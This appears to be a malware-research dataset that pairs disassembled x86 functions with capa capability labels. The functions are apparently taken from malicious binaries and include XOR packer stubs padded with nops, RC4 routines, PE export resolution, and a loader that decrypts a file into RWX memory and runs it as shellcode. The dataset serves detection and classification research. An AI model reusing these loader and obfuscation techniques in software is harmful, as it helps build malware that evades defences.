joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x1a1115f4
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x10495d0e
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x101c65b3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x102eac40], 0x129f
mov dword [0x102eac44], 1
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x102bf8de]
mov dh, byte [eax + 0x102bf8af]
sub dh, dl
mov byte [ebp + eax - 0x28], dh
cmp ecx, 0xe
mov dword [ebp - 0x34], ecx
jne 0x101c65e0
lea eax, [ebp - 0x28]
mov dword [0x102eac44], 0x20b
mov dword [0x102eac40], 0x155d
mov dword [ebp - 0x38], eax
call fcn.101c760b
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.101c6410
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x101c66ff
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x102eac40], 0x888
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.101c7187
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x102eac40], 0x1bcd
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x30], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x14], ecx
mov esi, dword [0x102eac40]
mov edi, esi
add edi, 0xffffe825
mov dword [0x102eac44], edi
cmp ecx, 0
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x40], eax
je 0x101c66ff
mov eax, dword [ebp - 0x44]
add eax, 0x26fc
mov ecx, dword [ebp - 0x48]
add ecx, 0xfffffca4
mov dword [0x102eac40], ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop edi
pop ebp
ret
Function at 0x101c6768
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.101c7787
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x101c67a4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x24]
mov dword [0x102eac40], 0x1b86
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x101c68b5
jmp 0x101c6804
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x34], edi
jmp 0x101c68b5
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x48]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x51], bh
mov byte [ebp - 0x52], cl
je 0x101c6880
mov al, byte [ebp - 0x51]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x50]
add edx, 1
mov ah, byte [ebp - 0x52]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x4c], edx
jne 0x101c682e
mov al, byte [ebp - 0x52]
test al, 1
jne 0x101c67e6
jmp 0x101c688d
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov edx, dword [ebp - 0x38]
add edx, 2
mov esi, dword [ebp - 0x30]
cmp ecx, esi
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x34], eax
jb 0x101c6814
mov eax, dword [ebp - 0x34]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101c706d
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x102eac44]
add eax, 0x1530
mov dword [0x102eac44], eax
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x102eac40], 0x1f9d
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x101c7101
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x101c7178
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x101c7161
jmp 0x101c7178
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x101c7178
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x101c714c
jmp 0x101c7178
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x101c712e
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
jl 0x101c7101
mov eax, dword [ebp - 0x1c]
mov dword [0x102eac44], 0x2071
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
je 0x101c70dd
jmp 0x101c7178
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x101c70b2
jmp 0x101c7178
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x101c717f
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x101c717f
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret
Function at 0x101c728e
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102eac4c], 0
mov byte [0x102eac50], 0
mov dword [0x102eac48], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101c72e4
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov dword [0x102eac48], 0
mov dword [ebp - 0x20], eax
jmp 0x101c730c
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x102eac48]
add eax, 1
mov dword [0x102eac48], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101c72e4
jmp 0x101c72d3
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x102eac54], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x102eac4c]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x102eac54], esi
mov edx, dword [0x102eac44]
add edx, 0xffffdb41
mov dword [0x102eac44], edx
mov eax, esi
cdq
idiv ecx
mov dword [0x102eac4c], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x102eac50], cl
mov esi, dword [0x102eac40]
add esi, 0xffffe085
mov dword [0x102eac44], esi
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov esi, dword [0x102eac40]
add esi, 0xffffe60a
mov dword [0x102eac40], esi
mov cl, byte [0x102eac50]
mov esi, dword [0x102eac4c]
mov byte [ebx + esi], cl
mov esi, dword [0x102eac48]
add esi, 1
mov dword [0x102eac48], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x101c730c
jmp 0x101c72cb
Function at 0x101c74b1
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x102eac40], 0x16e1
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.101c6a70
lea ecx, [0x101c6709]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x68], edx
mov dword [esp + 0x70], 0x141c00
mov edx, dword [0x102eac2c]
mov dword [esp + 0x60], edx
mov edx, dword [0x102eac30]
mov dword [esp + 0x58], edx
mov edx, dword [0x102eac34]
mov dword [esp + 0x5c], edx
mov edx, dword [0x102eac38]
mov dword [esp + 0x20], edx
mov edx, dword [0x102eac3c]
mov dword [esp + 0x7c], edx
mov dword [0x102eac40], 0x1b5b
mov dword [0x102eac44], 0x1dc4
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x101c759e
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.101c65b3
mov dword [0x102eac40], 0x7c2
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0x10], eax
jmp 0x101c7596
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x101c75cb
jmp 0x101c75ad
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
je 0x101c7580
mov dword [0x102eac40], 0x109
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x101c759e
mov eax, dword [esp + 0xc]
mov dword [esp + 0x78], eax
mov dword [0x102eac44], 0x1df1
mov dword [0x102eac40], 0x1e89
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x54], edx
call fcn.101c706d
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x101c7547
jmp 0x101c7596
Function at 0x101c7903
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, 0x2a5d
mov dword [0x102eac48], 0
mov dword [0x102eac4c], 0
mov dword [0x102eac58], 0
mov dword [0x102eac40], 0x2a5d
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x101c7a62
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x14]
mov edi, 0x100
add edx, 0xfffff7eb
mov ebx, esi
add ebx, 1
add ecx, 1
mov dword [0x102eac40], edx
mov dword [ebp - 0x30], eax
mov eax, ecx
cdq
idiv edi
mov dword [0x102eac48], edx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ecx + edx]
mov dword [ebp - 0x34], edx
mov edx, dword [ebp - 0x30]
add ecx, edx
mov eax, ecx
cdq
idiv edi
mov dword [0x102eac4c], edx
mov ecx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x34]
mov cl, byte [ecx + edi]
mov byte [0x102eac50], cl
mov dword [0x102eac44], 0x1ff1
mov ecx, dword [ebp - 0x24]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x24]
mov byte [edx + edi], cl
mov cl, byte [0x102eac50]
mov edx, dword [0x102eac4c]
mov edi, dword [ebp - 0x24]
mov byte [edi + edx], cl
mov edx, dword [0x102eac48]
movzx edx, byte [edi + edx]
mov ecx, dword [0x102eac4c]
movzx ecx, byte [edi + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x102eac58], ecx
mov dword [0x102eac40], 0x1a70
mov cl, byte [edi + ecx]
mov edx, dword [ebp - 0x1c]
xor cl, byte [edx + esi]
mov edx, dword [ebp - 0x20]
mov byte [edx + esi], cl
mov esi, dword [ebp - 0x10]
cmp ebx, esi
mov dword [ebp - 0x38], ebx
je 0x101c7a62
mov eax, dword [0x102eac4c]
mov ecx, dword [0x102eac40]
mov edx, dword [0x102eac48]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], eax
jmp 0x101c796e
mov dword [0x102eac44], 0xddd
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x40e97103
nop
nop
nop
nop
nop
test eax, eax
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0xda35089
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x302e340a
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..text_1
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x2fa675de
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov eax, 0xf40bc
call fcn.00401920
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xf40b8], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push 0
push 0
push 0
push 0
call ebx
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.C:WindowsLogs
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [esp + 0xc]
push ecx
push eax
lea edx, [esp + 0x1c]
push edx
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
xor byte [esp + eax + 0x10], 0x69
inc eax
cmp eax, 0xf40b0
jne 0x401070
push edi
push 0x40
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0xf40b0
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.MSVCR90.dll_memmove]
add esp, 0xc
call dword [0x403378]
push 0
push 0
push 1
push 0
mov edi, eax
call ebx
push 0
push 0
push 0x64
push 0
push esi
push edi
lea ecx, [esp + 0x28]
push ecx
mov ebx, eax
call dword [0x40337c]
mov esi, dword [sym.imp.MSVCR90.dll_printf]
pop edi
test eax, eax
jne 0x4010e2
push str.Fail
call esi
add esp, 4
push 0xffffffffffffffff
push ebx
call dword [0x403374]
test eax, eax
je 0x401100
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call esi
add esp, 8
mov ecx, dword [esp + 0xf40c0]
pop esi
pop ebx
xor ecx, esp
call fcn.00401128
add esp, 0xf40bc
ret

Function at 0x401128
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401132
repz ret
jmp fcn.004013e3

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x4fee7f3a
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x2a5d4af7
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4065ec
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406610
xor eax, eax
test eax, eax
je 0x406623
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406623
xor ecx, ecx
jmp 0x406626
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x40674f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4318ec], 0
push esi
jne 0x406786
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406760
mov dword [ecx*4 + 0x4318e8], eax
inc ecx
cmp ecx, 0x100
jl 0x40675b
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067b7
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4318e8]
xor eax, esi
inc ecx
dec edx
jne 0x406799
pop edi
not eax
pop esi
ret 0xc

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1e782443
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x242f147e
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219